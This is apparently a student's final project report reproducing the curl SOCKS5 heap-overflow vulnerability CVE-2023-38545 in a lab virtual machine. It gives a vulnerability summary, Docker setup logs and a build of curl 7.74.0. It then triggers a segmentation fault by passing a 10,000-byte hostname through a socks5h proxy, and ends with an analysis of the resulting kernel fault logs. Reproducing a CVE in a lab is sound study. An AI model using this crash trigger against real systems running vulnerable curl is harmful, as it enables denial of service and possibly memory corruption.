Final Project

學號：111550129 姓名：林彥亨

CVE：CVE-2023-38545

Part 1.

1. CVE vulnerablility introduction

Introduction:

- Description:

  CVE-2023-38545 is a critical vulnerability affecting the Curl command-line tool and libcurl, a library used by various software for network operations. This flaw has been assigned a CVSS (Common Vulnerability Scoring System) score of 9.8, which classifies it as critical. The vulnerability stems from a heap-based buffer overflow during the SOCKS5 proxy handshake process. This issue arises when Curl is directed to transmit a hostname to the SOCKS5 proxy that exceeds 255 bytes, leading to improper handling and a potential buffer overflow.

- Affected Versions:

  The versions of Curl and libcurl impacted by this vulnerability range from 7.69.0 up to and including 8.3.0. The problem was introduced due to changes made in early 2020 aimed at making a certain function non-blocking, inadvertently creating this security flaw.

Affected software and hardware:

- Software:
  - API Client
    - Applications that interact with web services using “libcurl” .
  - Package Manager
    - Software management tools that download packages through network with “curl”.

    - Cloud Services
        - Applications and services host in the cloud that using “libcurl” for web communication.
- Hardware:
    - Servers
        - Web server that using “libcurl” for processing HTTP requests.
    - IoT Devices
        - IoT Devices that using “libcurl” for network communication.
    - Client Devices
        - Computers, laptops or smartphones that using “libcurl” or “curl” for run applications.
    - Embedded Systems
        - Systems that the using in the software with “libcurl”.

Severity and Exploitability:

CVE-2023-38545 is a high-severity vulnerability that can lead to remote code execution (RCE). Although no specific remote code execution exploits have been published, the nature of heap overflow vulnerabilities often allows them to be exploited in this manner. The vulnerability primarily affects applications using libcurl in specific configurations, particularly involving SOCKS5 proxy settings. However, the set of conditions required for a system to be vulnerable is quite specific, limiting the scope of potential exploitation.

Patches and Workarounds:

In terms of software and hardware, the impact appears to be broad, potentially affecting systems in various sectors, due to the widespread use of Curl and libcurl for network communications.

- Patches / Workarounds:
    - Update libcurl: The vulnerability is fixed in Curl version 8.4.0. Users are advised to update to this version or later to mitigate the risk.
    - Avoid Vulnerable Configurations: configure your proxy settings to use other proxy types that are not affected by this vulnerability.

2. How do you reproduce the CVE environment

- **Set Up a Virtual Machine (VM)**
  - We chosed the Virtual box and install the Ubuntu.
- **Install the docker enginne on Ubuntu**
- **Install proper Software**
  - install the specific versions of Curl or libcurl that are affected by CVE-2023-38545, which are versions from 7.69.0 up to and including 8.3.0.
- **Configuration**
  - Configure the Curl or libcurl to use a SOCKS5 proxy as described in the vulnerability details. You would typically use settings that are known to trigger the vulnerability, such as setting up the SOCKS5 proxy configuration to force the overflow condition.
- **Set Up Proxy and Attacker Server**
  - Set up the OCKS5 proxy server and an attacker-controlled server within the VM.

3. How do you prepare to reproduce the exploitation

- **Prepare Exploitation Conditions**

  According to the vulnerability details, the exploitation occurs when a specifically crafted long hostname (exceeding 255 bytes) is handled. Prepare your test scenarios to include such long hostnames and ensure they are passed to the curl or libcurl configurations.
- **Monitor and Log**

  Set up logging and monitoring on your virtual machine to capture the effects of the exploitation, such as unexpected behaviors or potential crashes. Tools like Wireshark for network monitoring or log monitoring applications can be used for this purpose.

Part 2.

Environment:

- OS: Ubuntu
- curl version: 7.74.0
- SOCKS5 server: pysoxy

Introduction:

In this part, we worked on our virtual mechine(VM’s OS is Ubuntu 64-bits) to reproduce the CVE vulnerability and exploitation.

- We use some open-source code for reproduction.

Implementation:

- We install the “Docker” in our Ubuntu.

1. we some packages for the Docker

```
cn2023-lab1@cn2023lab1-VirtualBox:~$ sudo apt-get install \
>   apt-transport-https \
>   ca-certificates \
>   curl \
>   gnupg-agent \
>   software-properties-common
Reading package lists... Done
Building dependency tree
Reading state information... Done
ca-certificates is already the newest version (20230311ubuntu0.20.04.1).
ca-certificates set to manually installed.
software-properties-common is already the newest version (0.99.9.12).
software-properties-common set to manually installed.
The following NEW packages will be installed:
  apt-transport-https curl gnupg-agent
0 upgraded, 3 newly installed, 0 to remove and 0 not upgraded.
Need to get 168 kB of archives.
After this operation, 621 kB of additional disk space will be used.
Do you want to continue? [Y/n] Y
Get:1 http://tw.archive.ubuntu.com/ubuntu focal-updates/universe amd64 ap
-transport-https all 2.0.10 [1704 B]
Get:2 http://tw.archive.ubuntu.com/ubuntu focal-updates/main amd64 curl a
d64 7.68.0-1ubuntu2.22 [161 kB]
Get:3 http://tw.archive.ubuntu.com/ubuntu focal-updates/universe amd64 gn
pg-agent all 2.2.19-3ubuntu2.2 [5240 B]
Fetched 168 kB in 0s (764 kB/s)
Selecting previously unselected package apt-transport-https.
(Reading database ... 271054 files and directories currently installed.)
Preparing to unpack .../apt-transport-https_2.0.10_all.deb ...
Unpacking apt-transport-https (2.0.10) ...
Selecting previously unselected package curl.
Preparing to unpack .../curl_7.68.0-1ubuntu2.22_amd64.deb ...
Unpacking curl (7.68.0-1ubuntu2.22) ...
Selecting previously unselected package gnupg-agent.
Preparing to unpack .../gnupg-agent_2.2.19-3ubuntu2.2_all.deb ...
Unpacking gnupg-agent (2.2.19-3ubuntu2.2) ...
Setting up apt-transport-https (2.0.10) ...
Setting up gnupg-agent (2.2.19-3ubuntu2.2) ...
Setting up curl (7.68.0-1ubuntu2.22) ...
Processing triggers for man-db (2.9.1-1) ...
```

2. add the key and fingerprint.

```
cn2023-lab1@cn2023lab1-VirtualBox:~$ curl -fsSL https://download.docker.co
m/linux/ubuntu/gpg | sudo apt-key add -
OK
cn2023-lab1@cn2023lab1-VirtualBox:~$ apt-key list
/etc/apt/trusted.gpg
--------------------
pub   rsa4096 2017-02-22 [SCEA]
      9DC8 5822 9FC7 DD38 854A  E2D8 8D81 803C 0EBF CD88
uid           [ unknown] Docker Release (CE deb) <docker@docker.com>
sub   rsa4096 2017-02-22 [S]

/etc/apt/trusted.gpg.d/ubuntu-keyring-2012-archive.gpg
------------------------------------------------------
pub   rsa4096 2012-05-11 [SC]
      790B C727 7767 219C 42C8  6F93 3B4F E6AC C0B2 1F32
uid           [ unknown] Ubuntu Archive Automatic Signing Key (2012) <ftpm
aster@ubuntu.com>

/etc/apt/trusted.gpg.d/ubuntu-keyring-2012-cdimage.gpg
------------------------------------------------------
pub   rsa4096 2012-05-11 [SC]
      8439 38DF 228D 22F7 B374  2BC0 D94A A3F0 EFE2 1092
uid           [ unknown] Ubuntu CD Image Automatic Signing Key (2012) <cdi
mage@ubuntu.com>

/etc/apt/trusted.gpg.d/ubuntu-keyring-2018-archive.gpg
------------------------------------------------------
pub   rsa4096 2018-09-17 [SC]
      F6EC B376 2474 EDA9 D21B  7022 8719 20D1 991B C93C
uid           [ unknown] Ubuntu Archive Automatic Signing Key (2018) <ftpm
aster@ubuntu.com>

cn2023-lab1@cn2023lab1-VirtualBox:~$ sudo apt-key fingerprint 0EBFCD88
pub   rsa4096 2017-02-22 [SCEA]
      9DC8 5822 9FC7 DD38 854A  E2D8 8D81 803C 0EBF CD88
uid           [ unknown] Docker Release (CE deb) <docker@docker.com>
sub   rsa4096 2017-02-22 [S]
```

3. we install the docker

```
cn2023-lab1@cn2023lab1-VirtualBox:~$ sudo apt install docker-ce docker-ce-
cli containerd.io
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  docker-buildx-plugin docker-ce-rootless-extras docker-compose-plugin pig
z slirp4netns
Suggested packages:
  aufs-tools
The following NEW packages will be installed:
  containerd.io docker-buildx-plugin docker-ce docker-ce-cli docker-ce-roo
tless-extras docker-compose-plugin pigz slirp4netns
0 upgraded, 8 newly installed, 0 to remove and 0 not upgraded.
Need to get 121 MB of archives.
After this operation, 433 MB of additional disk space will be used.
Do you want to continue? [Y/n] Y
Get:1 https://download.docker.com/linux/ubuntu focal/stable amd64 containe
rd.io amd64 1.6.31-1 [29.8 MB]
Get:2 http://tw.archive.ubuntu.com/ubuntu focal/universe amd64 pigz amd64
2.4-1 [57.4 kB]
Get:3 http://tw.archive.ubuntu.com/ubuntu focal/universe amd64 slirp4netns
 amd64 0.4.3-1 [74.3 kB]
Get:4 https://download.docker.com/linux/ubuntu focal/stable amd64 docker-b
uildx-plugin amd64 0.14.0-1~ubuntu.20.04~focal [29.7 MB]
Get:5 https://download.docker.com/linux/ubuntu focal/stable amd64 docker-c
e-cli amd64 5:26.1.0-1~ubuntu.20.04~focal [14.6 MB]
Get:6 https://download.docker.com/linux/ubuntu focal/stable amd64 docker-c
e amd64 5:26.1.0-1~ubuntu.20.04~focal [25.3 MB]
Get:7 https://download.docker.com/linux/ubuntu focal/stable amd64 docker-c
e-rootless-extras amd64 5:26.1.0-1~ubuntu.20.04~focal [9329 kB]
Get:8 https://download.docker.com/linux/ubuntu focal/stable amd64 docker-c
ompose-plugin amd64 2.26.1-1~ubuntu.20.04~focal [12.4 MB]
Fetched 121 MB in 2s (53.6 MB/s)
Selecting previously unselected package pigz.
(Reading database ... 271069 files and directories currently installed.)
Preparing to unpack .../0-pigz_2.4-1_amd64.deb ...
Unpacking pigz (2.4-1) ...
Selecting previously unselected package containerd.io.
Preparing to unpack .../1-containerd.io_1.6.31-1_amd64.deb ...
Unpacking containerd.io (1.6.31-1) ...
Selecting previously unselected package docker-buildx-plugin.
Preparing to unpack .../2-docker-buildx-plugin_0.14.0-1~ubuntu.20.04~focal
_amd64.deb ...
Unpacking docker-buildx-plugin (0.14.0-1~ubuntu.20.04~focal) ...
Selecting previously unselected package docker-ce-cli.
```

4. we check whether the docker install completed.

```
cn2023-lab1@cn2023lab1-VirtualBox:~$ docker version
Client: Docker Engine - Community
 Version:           26.1.0
 API version:       1.45
 Go version:        go1.21.9
 Git commit:        9714adc
 Built:             Mon Apr 22 17:07:12 2024
 OS/Arch:           linux/amd64
 Context:           default
permission denied while trying to connect to the Docker daemon socket at u
nix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.45/v
ersion": dial unix /var/run/docker.sock: connect: permission denied
cn2023-lab1@cn2023lab1-VirtualBox:~$ sudo docker run hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
c1ec31eb5944: Pull complete

Digest: sha256:a26bff933ddc26d5cdf7faa98b4ae1e3ec20c4985e6f87ac0973052224d
24302
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
 1. The Docker client contacted the Docker daemon.
 2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (amd64)
 3. The Docker daemon created a new container from that image which runs t
he
    executable that produces the output you are currently reading.
 4. The Docker daemon streamed that output to the Docker client, which sen
t it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
 $ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
 https://hub.docker.com/

For more examples and ideas, visit:
 https://docs.docker.com/get-started/
```

5. Due to the docker denied the permission to connect to the Docker daemon socket.

```
docker: permission denied while trying to connect to the Docker daemon soc
ket at unix:///var/run/docker.sock: Head "http://%2Fvar%2Frun%2Fdocker.soc
k/_ping": dial unix /var/run/docker.sock: connect: permission denied.
See 'docker run --help'.
```

6. So, we try to group ourselves to the Docker.

```
cn2023-lab1@cn2023lab1-VirtualBox:~$ sudo groupadd docker
groupadd: group 'docker' already exists
cn2023-lab1@cn2023lab1-VirtualBox:~$ sudo usermod -aG docker $USER
cn2023-lab1@cn2023lab1-VirtualBox:~$ sudo gpasswd -a $cn2023lab1 docker
gpasswd: user 'docker' does not exist
cn2023-lab1@cn2023lab1-VirtualBox:~$ sudo gpasswd -a $USER docker
Adding user cn2023-lab1 to group docker
cn2023-lab1@cn2023lab1-VirtualBox:~$ newgrp docker
```

7. Then we try to build a dockerfile.

```
n2023-lab1@cn2023lab1-VirtualBox:~$ sudo docker build . -t cve && docker
un --rm -it --net="host" -t cve
+] Building 1.5s (15/15) FINISHED
           docker:default
 => [internal] load build definition from Dockerfile
                    0.0s
 => => transferring dockerfile: 470B
                    0.0s
 => [internal] load metadata for docker.io/library/debian:latest
                    1.4s
 => [internal] load .dockerignore
                    0.0s
 => => transferring context: 2B
                    0.0s
 => [ 1/11] FROM docker.io/library/debian:latest@sha256:b37bc259c67238d814
516548c17ad912f26c3e  0.0s
 => CACHED [ 2/11] RUN apt-get update && apt-get install -y     git     bu
ld-essential     wg  0.0s
 => CACHED [ 3/11] WORKDIR /build
                    0.0s
 => CACHED [ 4/11] RUN wget https://github.com/curl/curl/releases/download
/curl-7_74_0/curl-7.  0.0s
 => CACHED [ 5/11] RUN tar -xzvf curl-7.74.0.tar.gz
                    0.0s
 => CACHED [ 6/11] WORKDIR /build/curl-7.74.0
                    0.0s
 => CACHED [ 7/11] RUN ./configure --with-openssl
                    0.0s
 => CACHED [ 8/11] RUN make -j$(nproc)
                    0.0s
 => CACHED [ 9/11] RUN make install
                    0.0s
 => CACHED [10/11] RUN cp -r /usr/local/lib /usr/lib
                    0.0s
 => CACHED [11/11] RUN ldconfig
                    0.0s
 => exporting to image
                    0.0s
 => => exporting layers
                    0.0s
 => => writing image sha256:608c1a19d68eca01086ce3cf947de04b84731f5b504f03
096c1647320608f92    0.0s
 => => naming to docker.io/library/cve
                    0.0s
```

8. Run the python to open a proxy5 server. And we connect to the server.

```
cn2023-lab1@cn2023lab1-VirtualBox:~/CVE-2023-38545$ python3 socks.py &
[1] 153833
cn2023-lab1@cn2023lab1-VirtualBox:~/CVE-2023-38545$ Bind 9050
Traceback (most recent call last):
  File "socks.py", line 274, in bind_port
    sock.bind((LOCAL_ADDR, LOCAL_PORT))
OSError: [Errno 98] Address already in use
Traceback (most recent call last):
  File "socks.py", line 274, in bind_port
    sock.bind((LOCAL_ADDR, LOCAL_PORT))
OSError: [Errno 98] Address already in use

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "socks.py", line 323, in <module>
    main()
  File "socks.py", line 298, in main
    bind_port(new_socket)
  File "socks.py", line 276, in bind_port
    error("Bind failed", err)
  File "socks.py", line 73, in error
    print("{} - Code: {}, Message: {}".format(msg, str(err[0]), err[1]))
TypeError: 'OSError' object is not subscriptable
export ALL_PROXY=socks5h://127.0.0.1:9050
[1]+  Exit 1                  python3 socks.py
```

10. Here is the CVE vulneraibility and exploitation. We get the segmentation fault.

```
cn2023-lab1@cn2023lab1-VirtualBox:~/CVE-2023-38545$ ./curl-7.74.0/src/curl  $(python3 -c "print(('A'*10000), end='')") -vvvv
* Uses proxy env variable ALL_PROXY == 'socks5h://127.0.0.1:9050'
*   Trying 127.0.0.1:9050...
* SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=10000]
* SOCKS5 connect to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA...
* Send failure: Bad file descriptor
* Failed to send SOCKS5 connect request.
Segmentation fault (core dumped)
```

Part 3

To find out the corresponding log in the system, we use the "dmesg" to let the terminal show the process of the potential error.

Here is the result. (The last 20 lines of dmesg.)

```
cn2023-lab1@cn2023lab1-VirtualBox:~/CVE-2023-38545/curl-7.74.0$ dmesg | tail -20
[15152.739521] e1000 0000:00:03.0 enp0s3: Reset adapter
[15154.851027] e1000: enp0s3 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
[15419.290014] audit: type=1400 audit(1716456068.493:97): apparmor="DENIED" operation="capable" profile="/usr/sbin/cups-browsed" pid=99897 comm="cups-browsed" capability=23  capname="sys_nice"
[18077.296108] audit: type=1400 audit(1716458726.516:98): apparmor="DENIED" operation="open" profile="snap.snap-store.ubuntu-software" name="/var/lib/snapd/hostfs/usr/share/gdm/greeter/applications/gnome
-initial-setup.desktop" pid=1847 comm="pool-org.gnome." requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
[18077.318118] audit: type=1400 audit(1716458726.540:99): apparmor="DENIED" operation="open" profile="snap.snap-store.ubuntu-software" name="/var/lib/snapd/hostfs/usr/share/gdm/greeter/applications/gnome
-initial-setup.desktop" pid=1847 comm="pool-org.gnome." requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
[18077.476625] audit: type=1326 audit(1716458726.700:100): auid=1000 uid=1000 gid=1000 ses=2 subj=snap.snap-store.ubuntu-software pid=1847 comm="pool-org.gnome." exe="/bin/snap-store" sig=0 arch=c000003e
 syscall=93 compat=0 ip=0x7f2945122c8b code=0x50000
[20453.326325] loop15: detected capacity change from 0 to 130960
[20456.798269] loop11: detected capacity change from 0 to 152040
[20478.619968] loop12: detected capacity change from 0 to 637576
[20479.571102] audit: type=1400 audit(1716461128.807:101): apparmor="STATUS" operation="profile_replace" info="same as current profile, skipping" profile="unconfined" name="snap.code.code" pid=101657 com
m="apparmor_parser"
[20479.571104] audit: type=1400 audit(1716461128.807:102): apparmor="STATUS" operation="profile_replace" info="same as current profile, skipping" profile="unconfined" name="snap.code.url-handler" pid=101
658 comm="apparmor_parser"
[20479.577357] audit: type=1400 audit(1716461128.815:103): apparmor="STATUS" operation="profile_replace" info="same as current profile, skipping" profile="unconfined" name="snap-update-ns.code" pid=10166
0 comm="apparmor_parser"
[24987.227308] traps: curl[115473] general protection fault ip:7f22654f9100 sp:7ffd11daca28 error:0 in libcurl.so.4.7.0[7f22654f5000+5a000]
[27054.323517] traps: curl[115590] general protection fault ip:7f365fabd100 sp:7ffc55f0fff8 error:0 in libcurl.so.4.7.0[7f365fab9000+5a000]
[27149.677871] traps: curl[115610] general protection fault ip:7f48022b5100 sp:7ffeae55a7e8 error:0 in libcurl.so.4.7.0[7f48022b1000+5a000]
[27481.208882] traps: curl[115642] general protection fault ip:7fe60f497100 sp:7ffdb9c12808 error:0 in libcurl.so.4.7.0[7fe60f493000+5a000]
[32180.922689] traps: curl[116540] general protection fault ip:7ff248d315b8 sp:7ffd16a23010 error:0 in libcurl.so.4.7.0[7ff248d2c000+99000]
[33048.176388] traps: curl[134833] general protection fault ip:7fc08fcf7100 sp:7ffd8c43b098 error:0 in libcurl.so.4.7.0[7fc08fcf3000+5a000]
[35189.123511] traps: curl[135668] general protection fault ip:7ff562de6100 sp:7ffd44cc5248 error:0 in libcurl.so.4.7.0[7ff562de2000+5a000]
[35927.620988] traps: curl[153835] general protection fault ip:7f2cf9ea7100 sp:7ffd77d725a8 error:0 in libcurl.so.4.7.0[7f2cf9ea3000+5a000]
```

- Take the log of “[24987.227308] traps: curl[115473] general protection fault ip:7f22654f9100 sp:7ffd11daca28 error:0 in libcurl.so.4.7.0[7f22654f5000+5a000]” as example.

  This system log indicates that the `curl` process encountered a general protection fault, which is a type of error that occurs when a program tries to access memory in a way that the CPU's memory protection mechanism does not allow. Let's break down the log entry:

  - `[24987.227308]`: This is the timestamp of the log entry.
  - `traps: curl[115473]`: This indicates that the `curl` process, with process ID 115473, triggered a trap. A trap is an exception in the CPU that is handled by the operating system.
  - `general protection fault`: This is the type of fault that occurred. It generally means there was an illegal memory access.
  - `ip:7f22654f9100`: This is the instruction pointer (IP) value at the time of the fault. It points to the memory address in the code where the fault occurred.
  - `sp:7ffd11daca28`: This is the stack pointer (SP) value at the time of the fault. It indicates the location in the stack at the time of the error.
  - `error:0`: This is an error code associated with the fault.
  - `in libcurl.so.4.7.0[7f22654f5000+5a000]`: This indicates that the fault occurred within the shared library `libcurl.so.4.7.0`. The address range provided (`7f22654f5000+5a000`) shows the base address of the library and the offset where the fault occurred.